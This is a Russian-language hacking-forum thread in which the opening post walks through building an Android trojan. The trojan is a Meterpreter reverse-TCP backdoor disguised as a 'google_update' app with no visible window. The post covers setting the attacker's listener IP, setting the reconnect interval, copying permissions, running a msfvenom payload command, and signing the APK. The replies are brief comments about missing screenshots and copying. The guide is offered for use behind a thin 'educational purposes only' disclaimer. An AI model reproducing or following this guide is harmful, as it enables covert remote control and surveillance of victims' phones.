Загрузка...

Создание трояна (бекдор) на андроид

Тема в разделе Вирусология создана пользователем kbx_inactive199697 30 окт 2017. 4125 просмотров

Загрузка...
  1. kbx_inactive199697
    kbx_inactive199697 Автор темы 30 окт 2017 0 29 окт 2017
    Вся инфа в ознокомительных целях,автор не несет ответственности за область ее применения!

    Что нам понадобится:

    Android Studio и Android SDK
    Android Meterpreter Payload

    Первый этап (Подготовительный):

    Качаем исходный код метерпретора,ставим андроид студию и SDK
    (При установке SDK вы можете скачать пакеты AVD(Аndroid Virtual Device | Аднроид эмуляторов). Этот эмулятор настолько тормознутый что попу себе вскорешь от злости. Наиболее рациональный вариант - это использование реального девайса или же иного эмулятора
    Ну я уже все скачал. Показывать процесс установки не буду.
    Запускаем студию,создаем проект,даем ему имя. Выбираем минимальную версию API андроида,я выбрал IceCreamSandwich 4.0 так как

    [IMG]
    [IMG]

    это самая распространенная версия Android по статистике разработчиков.
    Выбираем приложения без активити (activity) -- это означает что при запуске не будет никаких
    визуальных окон (activity) и приложения просто запуститься себе и будет висеть в фоне.

    [IMG]


    На этом подготовительный этап завершен
    Подключить genymotion к Android Studio
    Подключить реальный смартфон к Android Studio

    Второй этап (Базовые настройки пейлоада)
    Открываем наш проект в студии.

    [IMG]

    Далее распаковываем скаченный архив с гитхаба с исходниками метерпретера. Находим там папку \backdooredapk\ где лежат наши java файлы и перетаскиваем их в наш проект в андроид студии.

    [IMG]

    Далее первым шагом же изменим в файле payload.java ip адрес нашего листенера(нашей атакующей машины,где у нас запущен метаслоит)

    [IMG]

    Затем нам будет интересен файл MyIntentService.java,в котором мы сможем опционально задать интервал времени через которое наш бекдор будет конектиться к машине атакуищего.
    (long half_an_hour = (3600)/(2); //время в секундах между каждой попыткой открыть новую meterpreter сессию " Я для демонстрации поставлю минуту" )

    [IMG]

    Далее нам понадобится AndroidManifest.xml из архива. Возьмем от туда пользовательские разрешение (user.permisions) и все что между тегами <application></application>
    После того как мы копипасним пермишенс и апликейшн нам нужно будет опционально изменить(указать) имя активити(<activiyt>android:name) и имя службы(<Service>android:name)

    [IMG]
    [IMG]

    Хотя студия сама нам это покажет что не нашла пути которое по дефолту был в тегах активити и сервиса(выделит их красным цветом).
    Нужно заменить их (stage.metasploit.com на com.darknode.google_update в моем случае "путь(имя) к вашему проекту")

    [IMG]
    [IMG]


    Но в манифесте (AndroidManifest.xml) из архива есть один небольшой косяк. После копипаста его в наш проект нужно добавить права(permisions),так как там не полный нужный нам список прав.
    Для этого возьмем и реверснем апк созданный с помощью msfvenon:
    msfvenom -p android/meterpreter/reverse_tcp lhost=айпи lport=порт r > ./meter.apk(хотя айпи и порт можно рандомный,нам нужен только манифест от туда)

    [IMG]
    [IMG]

    Скопируем разрешение с манифеста в наш проект

    [IMG]

    [IMG]

    Далее осталось подписать наше приложения.

    [IMG]

    [IMG]

    Подписали) Ну что ж давайте протестим.))

    [IMG]
    [IMG]
    [IMG]

    [IMG]

    [IMG]

    Как видим все работает! Буду не против получить от вас симпу
    P.s. Так как при просмотре темы у меня не грузятся картинки, я могу перезалить их однако при редактировании темы у меня картинки грузятся. Надеюсь у вас все в порядке
    P.P.S перезалил
     
    30 окт 2017 Изменено
  2. Vladcven
    Vladcven 30 окт 2017 Заблокирован(а) 112 28 сен 2016
    Как видим, ничего не работает)

    [IMG]
     
  3. NavigatoR
    NavigatoR 30 окт 2017 243 19 фев 2017
    скрины не грузят)
     
  4. kbx_inactive199697
    kbx_inactive199697 Автор темы 30 окт 2017 0 29 окт 2017
    Так и думал, сейчас перезалью
     
  5. NavigatoR
    NavigatoR 30 окт 2017 243 19 фев 2017
    копипаст с другого форума. И вообще статья 2016 года
     
  6. kbx_inactive199697
    kbx_inactive199697 Автор темы 30 окт 2017 0 29 окт 2017
    Перезалил
    П
     
  7. boogman
    boogman 9 ноя 2017 fuck 9 9 апр 2017
    ну в принципе все понятно расписано, спс
     
Top